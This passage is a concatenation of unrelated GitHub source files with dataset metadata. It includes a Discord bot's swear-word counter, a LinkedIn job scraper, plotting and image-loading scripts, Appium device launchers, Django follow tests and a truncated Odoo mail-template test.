discord.Embed(title='{}:'.format(message.author.name),\n description='You have been blacklisted with **`{}`** votes,\\n\\nReason:\\n```{}```'.format(votes, reason),\n colour=0xf20006)\n last_message = await bot.send_message(message.channel, embed=embed)\n await bot.add_reaction(last_message, emojiUnicode['warning'])\n return\n else:\n return\n\n low_key_message = str(message.content).lower()\n if 'shit' in low_key_message:\n total = str(message.content).lower().count('shit')\n database.cur.execute(\"UPDATE botzilla.swearwords SET swearword = 'shit', total = (total+{}) where swearword = 'shit';\".format(total))\n database.cur.execute(\"ROLLBACK;\")\n\n if 'fuck' in low_key_message:\n total = str(message.content).lower().count('fuck')\n database.cur.execute(\"UPDATE botzilla.swearwords SET swearword = 'fuck', total = (total+{}) where swearword = 'fuck';\".format(total))\n database.cur.execute(\"ROLLBACK;\")\n\n if 'damn' in low_key_message:\n total = str(message.content).lower().count('damn')\n database.cur.execute(\"UPDATE botzilla.swearwords SET swearword = 'damn', total = (total+{}) where swearword = 'damn';\".format(total))\n database.cur.execute(\"ROLLBACK;\")\n\n if '?' in low_key_message:\n total = str(message.content).lower().count('?')\n database.cur.execute(\"UPDATE botzilla.swearwords SET swearword = 'questionmark', total = (total+{}) where swearword = 'questionmark';\".format(total))\n database.cur.execute(\"ROLLBACK;\")\n\n if 'crap' in low_key_message:\n total = str(message.content).lower().count('crap')\n database.cur.execute(\"UPDATE botzilla.swearwords SET swearword = 'crap', total = (total+{}) where swearword = 'crap';\".format(total))\n database.cur.execute(\"ROLLBACK;\")\n\n if 'pussy' in low_key_message:\n total = str(message.content).lower().count('pussy')\n database.cur.execute(\"UPDATE botzilla.swearwords SET swearword = 'pussy', total = (total+{}) where swearword = 'pussy';\".format(total))\n database.cur.execute(\"ROLLBACK;\")\n\n if 'wtf' in low_key_message:\n total = str(message.content).lower().count('wtf')\n database.cur.execute(\"UPDATE botzilla.swearwords SET swearword = 'wtf', total = (total+{}) where swearword = 'wtf';\".format(total))\n database.cur.execute(\"ROLLBACK;\")\n\n if 'fag' in low_key_message:\n total = str(message.content).lower().count('fag')\n database.cur.execute(\"UPDATE botzilla.swearwords SET swearword = 'fag', total = (total+{}) where swearword = 'fag';\".format(total))\n database.cur.execute(\"ROLLBACK;\")\n\n if 'gay' in low_key_message:\n total = str(message.content).lower().count('gay')\n database.cur.execute(\"UPDATE botzilla.swearwords SET swearword = 'gay', total = (total+{}) where swearword = 'gay';\".format(total))\n database.cur.execute(\"ROLLBACK;\")\n\n if not str(message.content).startswith(config['prefix']): return\n\n await bot.process_commands(message)\n\n\n@bot.event\nasync def on_server_join(server):\n if database_file_found:\n if database.database_online:\n await get_users()\n print('Joined server: {}'.format(server.name))\n\n\nif __name__ == '__main__':\n bot.run(config['bot-key'])","repo_name":"Ratmanz/DiscordBot-BotZilla","sub_path":"core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":12646,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"52"} +{"seq_id":"37381306613","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[34]:\n\n\n# Importing relevant libraries\nfrom bs4 import BeautifulSoup\nimport requests\nimport openpyxl\n\n\n# In[35]:\n\n\n# I bring in the excel component\nexcel = openpyxl.Workbook()\nsheet = excel.active\nsheet.title = 'Data Science Jobs on LinkedIn'\nsheet.append(['job title', 'company', 'location', 'job url'])\n\n\n# In[36]:\n\n\n# Introduced the URL of interest for parsing\nsource = requests.get('https://www.linkedin.com/jobs/search/?keywords=data%20scientist')\nsoup = BeautifulSoup(source.text, 'html.parser')\n\n\n# In[24]:\n\n\n#Trying to get the right attributes for each category from the html output\njobs_on_linkedin = soup.find('ul', class_='jobs-search__results-list').find_all('li')\nprint(jobs_on_linkedin)\n\n\n# In[37]:\n\n\n\n#I will now print the jobs\nfor job in jobs:\n job_name = job.find('div', 'base-card base-card--link base-search-card base-search-card--link job-search-card').span.get_text(strip=True)\n company_name = job.find('div', 'base-card base-card--link base-search-card base-search-card--link job-search-card').h4.get_text(strip=True)\n location_ = job.find('span', 'job-search-card__location').get_text(strip=True)\n link = job.find('a', 'base-card__full-link')['href'] \n \n\n \n\n\n# In[30]:\n\n\n#Print would display the output I am looking for\nprint(job_name)\nprint(company_name)\nprint(location_)\nprint(link)\n\n\n# In[44]:\n\n\n# I intend wrapping it up a;; in an excvel document\nsheet.append([job_name, company_name, location_, link])\nexcel.save('Data Science Jobs on LinkedIn.xlsx')\nprint(excel.save)\nexcel.close()\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"cjayjonathan/DataScienceJobs-Naukri-Linkedin-Glassdoor","sub_path":"Data Science Jobs on LinkedIn.py","file_name":"Data Science Jobs on LinkedIn.py","file_ext":"py","file_size_in_byte":1584,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"7078093380","text":"import matplotlib.pyplot as plt\nimport pandas as pd\n\n\ndef plot_ODs(filename):\n df = pd.read_csv(filename, sep=\"\\t\")\n\n plt.figure()\n for ii in range(1, 7):\n column = df.columns[ii]\n plt.plot(df[\"time\"], df[column], label=column)\n plt.xlabel(\"Time [s]\")\n plt.ylabel(\"OD [a.u.]\")\n plt.legend()\n plt.grid()\n\n\ndef plot_weights(filename):\n df = pd.read_csv(filename, sep=\"\\t\")\n\n plt.figure()\n for ii in range(1, 7):\n column = df.columns[ii]\n plt.plot(df[\"time\"], df[column], label=column)\n plt.xlabel(\"Time [s]\")\n plt.ylabel(\"Weight [g]\")\n plt.legend()\n plt.grid()\n\n\nif __name__ == \"__main__\":\n plot_ODs(\"runs/ODs.tsv\")\n plot_weights(\"runs/weights.tsv\")\n plt.show()\n","repo_name":"vdruelle/Morbidostat_phage","sub_path":"scripts/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":739,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"39732786081","text":"import matplotlib\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom PIL import Image\n\nimg = Image.open('grain.png').convert('L')\narr = np.array(img, dtype = np.uint8)\nhist = np.zeros((256), dtype = np.int32)\nr,c = arr.shape\nfor i in range(r):\n for j in range(c):\n hist[arr[i,j]] += 1\n\nplt.figure('barChart')\nplt.bar(range(256), hist)\nplt.show()","repo_name":"kulukamal/Lab","sub_path":"IPLab/IP Lab assignment (6 aug 2019) (2)/HistogramOfImg.py","file_name":"HistogramOfImg.py","file_ext":"py","file_size_in_byte":360,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"1809688033","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom sys import exit\n\n\nrho = np.loadtxt(\"rhoz.dat\")\nx = rho[:,0]\ny = rho[:,1] \n\ndx = x[1] - x[0]\nprint( dx * sum(y))\n\nplt.plot(x,y)\nplt.show()\n","repo_name":"hiddevuijk/hard_sphere_mc","sub_path":"fig.py","file_name":"fig.py","file_ext":"py","file_size_in_byte":194,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"19386653757","text":"import os\nimport shutil\nimport glob\n\n# srcfile 需要复制、移动的文件 \n# dstpath 目的地址\ndef mycopyfile(srcfile,dstpath): # 复制函数\n if not os.path.isfile(srcfile):\n print (\"%s not exist!\"%(srcfile))\n else:\n fpath,fname=os.path.split(srcfile) # 分离文件名和路径\n if not os.path.exists(dstpath):\n os.makedirs(dstpath) # 创建路径\n dstpath = os.path.join(dstpath, fname[2:])\n shutil.copy(srcfile, dstpath) # 复制文件\n print (\"copy %s -> %s\"%(srcfile, dstpath))\n\ndef copyFile(srcfile,dstpath): # 复制函数\n print(srcfile)\n if not os.path.isfile(srcfile):\n print (\"%s not exist!\"%(srcfile))\n else:\n fpath,fname=os.path.split(srcfile) # 分离文件名和路径\n if not os.path.exists(dstpath):\n os.makedirs(dstpath) # 创建路径\n dstpath = os.path.join(dstpath, fname[2:])\n shutil.copy(srcfile, dstpath) # 复制文件\n print (\"copy %s -> %s\"%(srcfile, dstpath))\n\n\ndef main():\n src_dir = '/content/ESANet/datasets/nyu_v2/hha'\n dst_dir = '/content/ESANet/datasets/nyuv2/hha' # 目的路径记得加斜杠\n src_file_list = glob.glob(src_dir + '/*') # glob获得路径下所有文件,可根据需要修改\n\n # 读取train.txt test.txt hha分别存放\n dir_hha_out = '/content/ESANet/datasets/nyu_v2'\n train_txt = os.path.join(dir_hha_out, 'train.txt')\n test_txt = os.path.join(dir_hha_out, 'test.txt')\n all_images = 1449\n img_name = [0] * all_images\n with open(train_txt) as f:\n for line in f:\n img_name[int(line)-1] = 'train'\n with open(test_txt) as f:\n for line in f:\n img_name[int(line)-1] = 'test'\n print(img_name[9])\n i = 0\n for srcfile in src_file_list:\n fpath,fname=os.path.split(srcfile)\n index = int(fname[2:6]) # 这个glob把顺序打乱了\n if img_name[index-1] == 'train':\n dst_dir1 = os.path.join(dst_dir, 'train')\n else:\n dst_dir1 = os.path.join(dst_dir, 'test')\n copyFile(srcfile, dst_dir1) # 复制文件\n print(fname, dst_dir1)\n i = i + 1\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"ZS-Cheng/ESANet","sub_path":"src/datasets/nyuv2/copy_file.py","file_name":"copy_file.py","file_ext":"py","file_size_in_byte":2410,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"17361019198","text":"import cv2\nimport os\n# import re\n\n\ndef import_images(folder_path):\n # Buat list kosong buat penampung images dan label images\n images = []\n labels = []\n\n # Memeriksa apakah folder tersebut ada\n if os.path.exists(folder_path):\n # Mendapatkan daftar file dalam folder\n files = os.listdir(folder_path)\n # Loop melalui setiap file dalam folder\n for file_name in files:\n # Memeriksa apakah file tersebut adalah file gambar (misalnya, dengan ekstensi .jpg atau .png)\n if file_name.endswith(('.jpg', '.png', '.jpeg')):\n # Menggabungkan path lengkap ke file gambar\n image_path = os.path.join(folder_path, file_name)\n file_name = os.path.basename(image_path)\n\n \"\"\"\n #############################################################################\n Kode di bawah digunakan untuk mencari label kelas berdasarkan nama foldernya\n #############################################################################\n \"\"\"\n labels.append(os.path.basename(folder_path))\n\n \"\"\"\n #############################################################################\n Kode di bawah digunakan untuk read image dan convert ke dalam grayscale\n #############################################################################\n \"\"\"\n # Membaca gambar menggunakan OpenCV\n image = cv2.imread(image_path)\n # Convert ke grayscale\n gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n images.append(gray)\n\n else:\n print(f\"Ignoring non-image file: {file_name}\")\n\n else:\n print(f\"Folder not found: {folder_path}\")\n\n print(\"sum of images: \" + str(len(images)))\n print(\"sum of labels: \" + str(len(labels)))\n\n return images, labels\n","repo_name":"Andriano1235/PSO_Features_Selection","sub_path":"__utils__/import_file.py","file_name":"import_file.py","file_ext":"py","file_size_in_byte":1964,"program_lang":"python","lang":"id","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"6954961216","text":"#coding=utf-8\nimport subprocess\nfrom time import ctime, sleep\nimport multiprocessing\n\nfrom appium_sync.check_port import check_port, release_port\nfrom appium_sync.multi_appium import appium_start\nfrom appium_sync.mutil_device import appium_desired\n\ndevices_list = ['127.0.0.1:62001', '127.0.0.1:21503']\n\n#devices_list=['127.0.0.1:62025','127.0.0.1:62001']\n\ndef start_appium_action(host,port):\n '''检测端口是否被占用,如果没有被占用则启动appium服务'''\n if check_port(host,port):\n appium_start(host,port)\n return True\n else:\n print('appium %s start failed!' %port)\n return False\n\ndef start_devices_action(udid,port):\n '''先检测appium服务是否启动成功,启动成功则再启动App,否则释放端口'''\n host='127.0.0.1'\n if start_appium_action(host,port):\n print(\"appium已启动成功\")\n appium_desired(udid,port)\n else:\n print(\"appium启动失败,释放端口\")\n release_port(port)\n\ndef appium_start_sync():\n '''并发启动appium服务'''\n print('====appium_start_sync=====')\n\n #构建appium进程组\n appium_process=[]\n\n #加载appium进程\n\n for i in range(len(devices_list)):\n host='127.0.0.1'\n port = 4723 + 2 * i\n\n appium=multiprocessing.Process(target=start_appium_action,args=(host,port))\n appium_process.append(appium)\n\n # 启动appium服务\n for appium in appium_process:\n appium.start()\n for appium in appium_process:\n appium.join()\n\n sleep(5)\n\ndef devices_start_sync():\n '''并发启动设备'''\n print('===devices_start_sync===')\n\n #定义desired进程组\n desired_process = []\n\n #加载desired进程\n for i in range(len(devices_list)):\n port = 4723 + 2 * i\n desired = multiprocessing.Process(target=start_devices_action, args=(devices_list[i], port))\n desired_process.append(desired)\n\n #并发启动App\n for desired in desired_process:\n desired.start()\n for desired in desired_process:\n desired.join()\n\nif __name__ == '__main__':\n #appium_start_sync()\n devices_start_sync()\n\n","repo_name":"susuYin/kyb_appium","sub_path":"appium_sync/appium_devices_sync.py","file_name":"appium_devices_sync.py","file_ext":"py","file_size_in_byte":2141,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"11498398110","text":"import asyncio\nimport logging\n\nfrom dotenv import find_dotenv, load_dotenv\nfrom marginpy import MarginfiClient\nfrom marginpy.logger import setup_logging\nfrom marginpy.utils.data_conversion import ui_to_native\nfrom marginpy.utils.instructions import airdrop_collateral\nfrom marginpy.utils.misc import get_or_create_ata\nfrom solana.publickey import PublicKey\n\nload_dotenv(find_dotenv())\nsetup_logging(logging.DEBUG)\n\nDEPOSIT_AMOUNT = 10\n\n\nasync def main():\n client = await MarginfiClient.from_env()\n account, _ = await client.create_marginfi_account()\n\n ata = await get_or_create_ata(\n rpc_client=client.provider.connection,\n payer_keypair=client.provider.wallet.payer,\n mint_pk=client.config.collateral_mint_pk,\n )\n\n devnet_usdc_faucet = PublicKey(\"B87AhxX6BkBsj3hnyHzcerX2WxPoACC7ZyDr8E7H9geN\")\n await airdrop_collateral(\n client.provider,\n ui_to_native(DEPOSIT_AMOUNT),\n client.config.collateral_mint_pk,\n ata,\n devnet_usdc_faucet,\n )\n\n await account.deposit(DEPOSIT_AMOUNT)\n await account.mango.activate()\n await account.mango.deposit(DEPOSIT_AMOUNT / 2)\n await account.zo.activate()\n await account.zo.deposit(DEPOSIT_AMOUNT / 2)\n\n await account.reload(observe_utps=True)\n\n\nif __name__ == \"__main__\":\n asyncio.run(main())\n","repo_name":"mrgnlabs/marginfi-sdk","sub_path":"python/marginpy/examples/create_and_fund_account.py","file_name":"create_and_fund_account.py","file_ext":"py","file_size_in_byte":1322,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"50"} +{"seq_id":"37627804689","text":"\"\"\"\nVariablen schreiben\n\n- Kannst du zwei Rechtecke so positionieren, dass das eine immer\n das untere linke Viertel der Fläche ausfüllt und das andere\n jeweils das obere rechte Viertel?\n- Kannst du es so einrichten, dass es auch funktioniert, wenn es\n newPage(\"A4\") heisst?\n\"\"\"\n\nnewPage(\"A4\")\n\nrect1x = 0\nrect1y = 0\nrect1width = width() / 2\nrect1height = height() / 2\n\nrect2x = width() / 2\nrect2y = height() / 2\nrect2width = width() / 2\nrect2height = height() / 2\nrect(rect1x, rect1y, rect1width, rect1height)\nrect(rect2x, rect2y, rect2width, rect2height)\n","repo_name":"Coding-for-the-Arts/drawbot-samples-solutions","sub_path":"1_basics/8_variablen2.py","file_name":"8_variablen2.py","file_ext":"py","file_size_in_byte":561,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"40631100879","text":"from django.test import Client, TestCase\nfrom django.urls import reverse\n\nfrom ..models import Follow, Group, Post, User\n\n\nclass PostURLTests(TestCase):\n @classmethod\n def setUpClass(cls):\n super().setUpClass()\n cls.user = User.objects.create_user(username='test_author')\n cls.user_follow = User.objects.create_user(username='follow ')\n cls.user_unfollow = User.objects.create_user(username='unfollow')\n cls.test_group = Group.objects.create(\n title='Тестовая группа',\n slug='Test-slug',\n description='Тестовое описание',\n )\n\n def setUp(self):\n self.guest_client = Client()\n self.authorized_client_author = Client()\n self.authorized_client_author.force_login(self.user)\n self.authorized_client_follow = Client()\n self.authorized_client_follow.force_login(self.user_follow)\n self.authorized_client_unfollow = Client()\n self.authorized_client_unfollow.force_login(self.user_unfollow)\n\n def test_login_make_follow(self):\n \"\"\"Авторизованный может\n подписываться на других пользователей\n \"\"\"\n follow_count = Follow.objects.count()\n self.response = self.authorized_client_follow.get(\n reverse(\n 'posts:profile_follow', args=[self.user]\n ),\n )\n self.assertTrue(Follow.objects.filter(\n user=self.user_follow,\n author=self.user,\n ).exists()\n )\n self.assertEqual(follow_count + 1, Follow.objects.count())\n\n def test_login_make_unfollow(self):\n \"\"\"Авторизованный может\n отписываться на других пользователей\n \"\"\"\n self.response = self.authorized_client_follow.get(\n reverse(\n 'posts:profile_follow', args=[self.user]\n ),\n )\n follow_count = Follow.objects.count()\n self.response = self.authorized_client_follow.get(\n reverse(\n 'posts:profile_unfollow', args=[self.user]\n ),\n )\n self.assertFalse(Follow.objects.filter(\n user=self.user_follow,\n author=self.user,\n ).exists()\n )\n self.assertEqual(follow_count - 1, Follow.objects.count())\n\n def test_post_appears_follow_page(self):\n \"\"\"Пост появляется на главной странице, подписчика\"\"\"\n \"\"\"и не появляется у других.\"\"\"\n self.response = self.authorized_client_follow.get(\n reverse(\n 'posts:profile_follow', args=[self.user]\n ),\n )\n self.test_post = Post.objects.create(\n author=self.user,\n text='Тестовый пост',\n group=self.test_group\n )\n response_follow = self.authorized_client_follow.get(\n reverse('posts:follow_index')\n )\n self.assertEqual(\n response_follow.context['page_obj'][0], self.test_post\n )\n response_unfollow = self.authorized_client_unfollow.get(\n reverse('posts:follow_index')\n )\n self.assertNotEqual(\n response_unfollow.content, response_follow.content\n )\n","repo_name":"Stepan3006/Yatube_Social_Network","sub_path":"yatube/posts/tests/test_follow.py","file_name":"test_follow.py","file_ext":"py","file_size_in_byte":3378,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"18575605193","text":"import tornado.httpserver\nimport tornado.ioloop\nimport tornado.wsgi\nimport web\n\nurls = (\n '/(.*)', 'hello'\n)\napp = web.application(urls, globals())\n\nclass hello: \n def GET(self, name):\n if not name: \n name = 'world'\n return 'Hello, ' + name + '!'\n\n\ndef main():\n container = tornado.wsgi.WSGIContainer(app.wsgifunc())\n http_server = tornado.httpserver.HTTPServer(container)\n http_server.listen(8888)\n tornado.ioloop.IOLoop.instance().start()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"aljoscha/shot-o-matic","sub_path":"vendor/tornado-0.2/demos/wsgi/testweb.py","file_name":"testweb.py","file_ext":"py","file_size_in_byte":531,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"39669611410","text":"import time\nimport numpy as np\nfrom sklearn import svm\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.ensemble import RandomForestClassifier\nfrom FileReading import GetData\nfrom classify import PrintEvalMetrics\n\ndef Split(dataframe, nFold=10):\n \"\"\" Given a dataframe, it will split the dataframe into nFold folds, and do it so in a subject independent manner.\"\"\"\n\n subjects = dataframe['subject'].unique() # get all the subjects\n subject_folds = np.array_split(subjects, nFold) # split the subjects into 10 folds\n split_indices = [] # list of tuples of (train, test) indices, will be returned\n\n for i in range(len(subject_folds)):\n test_subjects = subject_folds[i] # get current test subjects\n test = dataframe[dataframe['subject'].isin(test_subjects)] # get all data associated with current subjects\n train = dataframe[~dataframe['subject'].isin(test_subjects)] # get all data not associated with current subjects AKA Training data\n split_indices.append([train.index, test.index]) # append the indices of both train and test to the list of tuples\n return split_indices\n \n\ndef Classify(df, X, nFold=10, clf=\"SVM\"):\n print(clf) # for debugging\n if clf == \"TREE\": \n clf = DecisionTreeClassifier()\n elif clf == \"RF\": \n clf = RandomForestClassifier()\n else: \n clf = svm.SVC()\n\n y = df['target'].to_numpy() # get the target values as 1D array\n split_indices = Split(df, nFold) # Split data\n\n # used later\n pred = []\n test_indices = []\n \n for i, (train_index, test_index) in enumerate(split_indices):\n print(f\"Fold {i}\") # print current fold,for debugging purposes\n clf.fit(X[train_index], y[train_index]) \n pred.append(clf.predict(X[test_index]))\n test_indices.append(test_index) # save results\n\n return pred, test_indices, y\n","repo_name":"aseghehey/expression-recognition-ml","sub_path":"classifier.py","file_name":"classifier.py","file_ext":"py","file_size_in_byte":1869,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"48069069278","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\n# @File : Print1ToMaxOfNDigits.py\n# @Time : 2018-03-30 11:15\n# @Author : zhang bo\n# @Note : 从1到n打印数字\n\"\"\"\nimport time\n\nclass Solution:\n \"\"\"\n 题目描述:输入数字n,按顺序打印从1到最大的n位十进制数。例如输入3, 打印1、2、3一直到最大的三位数即999\n 思路:考虑大数问题,需将每个数按位分开,循环一次,新建一个数组保存一次,在打印一次,打印玩后立即删除(释放内存)\n \"\"\"\n def pirnt1ToMaxOfDigits1(self, n):\n # write code here\n if n <= 0:\n return None\n number = ['0'] * n # 初始化\n while not increment(number):\n printNumber(number)\n del number\n\n # 使用递归的思路\n def pirnt1ToMaxOfDigits2(self, n):\n if n <= 0:\n return None\n number = ['0'] * n # init\n for i in range(10):\n number[0] = str(i)\n print1ToMaxOfDigitsRecursively(number, 0)\n del number\n\n# 模拟加法运算\ndef increment(number):\n \"\"\"\n 判断一个数+1的时候,是否在最高位会产生进位,如果True, 说明已经达到看了最大值\n :number:相当于每调用increment()一次,number就会改变一次,+1\n :return: 如果最高位产生进位,return true,否则 return false\n \"\"\"\n is_overflow = False #\n n_takeover = 0\n n_len = len(number)\n i = n_len - 1\n while i >= 0: # while-loop start\n n_sum = int(number[i]) + n_takeover\n if i == n_len - 1: #\n n_sum += 1\n if n_sum >= 10: # 满10\n if i == 0: # 最高位>10, 表表示达到最大\n is_overflow = True\n else:\n n_sum -= 10 # 进位后清零\n n_takeover = 1 # 进1\n number[i] = str(n_sum)\n else: # 不满10\n number[i] = str(n_sum)\n break\n # print(number)\n i -= 1 # while-loop end\n return is_overflow\n\n# 打位印字符串\ndef printNumber(number):\n is_start_0 = True # 第一位是否为0\n n_len = len(number)\n for i in range(n_len): # for-loop start\n if is_start_0 and number[i] != '0': # 之前在数字不够n位时,前面补了0,打印时,没必要打印出前面的0\n is_start_0 = False\n if not is_start_0:\n print('%s' % number[i], end='')\n print('')\n\n# 递归打印\ndef print1ToMaxOfDigitsRecursively(number, index):\n if index == len(number) - 1: # 最后位\n printNumber(number)\n return\n for i in range(10):\n number[index+1] = str(i)\n print1ToMaxOfDigitsRecursively(number, index+1)\n\ndef run_time(func, n):\n s1 = time.clock()\n res1 = func(n)\n e1 = time.clock()\n print('func: %s, result:%s, time: %s' % (func.__name__, res1, (e1-s1)))\n\n\nif __name__ == '__main__':\n solution = Solution()\n n = 2\n run_time(solution.pirnt1ToMaxOfDigits1, n)\n run_time(solution.pirnt1ToMaxOfDigits2, n)\n","repo_name":"zhang4ever/target_offer","sub_path":"Print1ToMaxOfNDigits.py","file_name":"Print1ToMaxOfNDigits.py","file_ext":"py","file_size_in_byte":3049,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"28738804597","text":"# -*- codiNatgas: utf-8 -*-\r\n'''\r\n Top level function for the Simple Energy Model Ver 1.\r\n \r\n The main thing a user needs to do to be able to run this code from a download\r\n from github is to make sure that points to the \r\n appropriate case input file.\r\n \r\n The format of this file is documented in the file called .\r\n \r\n If you are in Spyder, under the Run menu you can select 'configuration per File' Fn+Ctrl+F6\r\n and enter the file name of your input .csv file, e.g., Check 'command line options'\r\n and enter ./case_input_base_190716.csv\r\n \r\n'''\r\n\r\nfrom Preprocess_Input import preprocess_input\r\n\r\nfrom Core_Model import core_model\r\nfrom Extract_Cvxpy_Output import extract_cvxpy_output\r\nfrom Save_Basic_Results import save_basic_results\r\nimport sys\r\n\r\nfrom shutil import copy2\r\nimport os\r\n \r\n# directory = 'D:/M/WORK/'\r\n#root_directory = '/Users/kcaldeira/Google Drive/simple energy system model/Kens version/'\r\n#whoami = subprocess.check_output('whoami')\r\n#if whoami == 'kcaldeira-carbo\\\\kcaldeira\\r\\n':\r\n# case_input_path_filename = '/Users/kcaldeira/Google Drive/git/SEM-1/case_input.csv'\r\nif len(sys.argv) == 1:\r\n #case_input_path_filename = './case_input.csv'\r\n case_input_path_filename = './case_input_example.csv'\r\nelse:\r\n case_input_path_filename = sys.argv[1]\r\n\r\n# -----------------------------------------------------------------------------\r\n# =============================================================================\r\n\r\nprint ('Macro_Energy_Model: Pre-processing input')\r\ncase_dic,tech_list = preprocess_input(case_input_path_filename)\r\n\r\n# -----------------------------------------------------------------------------\r\n\r\n# copy the input data file to the output folder\r\n\r\noutput_folder = case_dic['output_path'] + '/' + case_dic['case_name']\r\n\r\nif not os.path.exists(output_folder):\r\n os.makedirs(output_folder)\r\n \r\ntry:\r\n copy2(case_input_path_filename, output_folder)\r\nexcept:\r\n print ('case input file '+case_input_path_filename+' not copied. Perhaps it does not exist. Perhaps it is open and cannot be overwritten.')\r\n\r\n# -----------------------------------------------------------------------------\r\n\r\nprint ('Macro_Energy_Model: Executing core model')\r\n#global_results_dic, decision_dic_list = core_model (case_dic, tech_list)\r\nconstraint_list,cvxpy_constraints,cvxpy_prob,cvxpy_capacity_dic,cvxpy_dispatch_dic = core_model (case_dic, tech_list)\r\n\r\n# constraints,prob,capacity_dic,dispatch_dic = extract_cvxpy_output(cvxpy_constraints,cvxpy_prob,cvxpy_capacity_dic,cvxpy_dispatch_dic )\r\nprob_dic,capacity_dic,dispatch_dic = extract_cvxpy_output(case_dic,tech_list,constraint_list,\r\n cvxpy_constraints,cvxpy_prob,cvxpy_capacity_dic,cvxpy_dispatch_dic )\r\n\r\nprint ('Simple_Energy_Model: Saving basic results')\r\n# Note that results for individual cases are output from core_model_loop\r\ncase,tech,time = save_basic_results(case_dic, tech_list, cvxpy_constraints,prob_dic,capacity_dic,dispatch_dic)\r\n\r\n ","repo_name":"ClabEnergyProject/MEM","sub_path":"Macro_Energy_Model.py","file_name":"Macro_Energy_Model.py","file_ext":"py","file_size_in_byte":3021,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"50"} +{"seq_id":"5751248159","text":"import os\r\nimport praw\r\nimport psycopg2\r\nimport re\r\nimport sys\r\nfrom urlparse import urlparse\r\n\r\n\r\ndef get_movie_alias(movie_name):\r\n return movie_name\r\n\r\n\r\ndef insert_into_table(movie_name, post_type, score, timestamp, post_content):\r\n cursor.execute(\"INSERT INTO Reddit VALUES (%S, %S, %S, %S) ON CONFLICT DO NOTHING\", movie_name, post_type, score, timestamp, post_content)\r\n\r\n\r\ndef get_r_movies_posts(time, limit=None):\r\n reddit = praw.Reddit(user_agent='Comment Extraction', client_id='xLVOBTSVWhVo0A', client_secret='jGLMgJ25D8r2EgALZV6Gitw_UG4')\r\n r_movies = reddit.subreddit('movies')\r\n return r_movies.top(time_filter=time, limit=limit)\r\n\r\n\r\ndef get_cursor(db_url):\r\n url = urlparse(db_url)\r\n conn = psycopg2.connect(\r\n database=url.path[1:],\r\n user=url.username,\r\n password=url.password,\r\n host=url.hostname,\r\n port=url.port\r\n )\r\n conn.set_isolation_level(psycopg2.extensions.ISOLATION_LEVEL_AUTOCOMMIT)\r\n return conn.cursor()\r\n\r\ncursor = get_cursor(os.environ[\"DATABASE_URL\"])\r\n\r\nfor post in get_r_movies_posts(\"month\", None):\r\n searchTitle = re.search(get_movie_alias(sys.argv[1]), post.title, re.I)\r\n if searchTitle:\r\n insert_into_table(sys.argv[1], \"Post\", post.score, post.created, post)\r\n post.comments.replace_more(limit=0)\r\n comment_queue = post.comments[:]\r\n while comment_queue:\r\n comment = comment_queue.pop(0)\r\n searchComments = re.search(get_movie_alias(sys.argv[1]), comment.body, re.I)\r\n if searchComments:\r\n insert_into_table(sys.argv[1], \"Comment\", post.score, post.created, comment)\r\n comment_queue.extend(comment.replies)\r\n","repo_name":"TorranceYang/MovieSuggestions","sub_path":"extras/milestones/secondMilestone/source code/readDatabaseFromReddit.py","file_name":"readDatabaseFromReddit.py","file_ext":"py","file_size_in_byte":1709,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"11031868800","text":"from odoo.tests import Form, users\nfrom odoo.exceptions import AccessError\nfrom odoo.addons.mail.tests.common import MailCommon\n\n\nclass TestMailTemplate(MailCommon):\n @classmethod\n def setUpClass(cls):\n super(TestMailTemplate, cls).setUpClass()\n # Enable the Jinja rendering restriction\n cls.env['ir.config_parameter'].set_param('mail.restrict.template.rendering', True)\n cls.user_employee.groups_id -= cls.env.ref('mail.group_mail_template_editor')\n\n cls.mail_template = cls.env['mail.template'].create({\n 'name': 'Test template',\n 'subject': '{{ 1 + 5 }}',\n 'body_html': '',\n 'lang': '{{ object.lang }}',\n 'auto_delete': True,\n 'model_id': cls.env.ref('base.model_res_partner').id,\n })\n\n @users('employee')\n def test_mail_compose_message_content_from_template(self):\n form = Form(self.env['mail.compose.message'])\n form.template_id = self.mail_template\n mail_compose_message = form.save()\n\n self.assertEqual(mail_compose_message.subject, '6', 'We must trust mail template values')\n\n @users('employee')\n def test_mail_compose_message_content_from_template_mass_mode(self):\n mail_compose_message = self.env['mail.compose.message'].create({\n 'composition_mode': 'mass_mail',\n 'model': 'res.partner',\n 'template_id': self.mail_template.id,\n 'subject': '{{ 1 + 5 }}',\n })\n\n values = mail_compose_message.get_mail_values(self.partner_employee.ids)\n\n 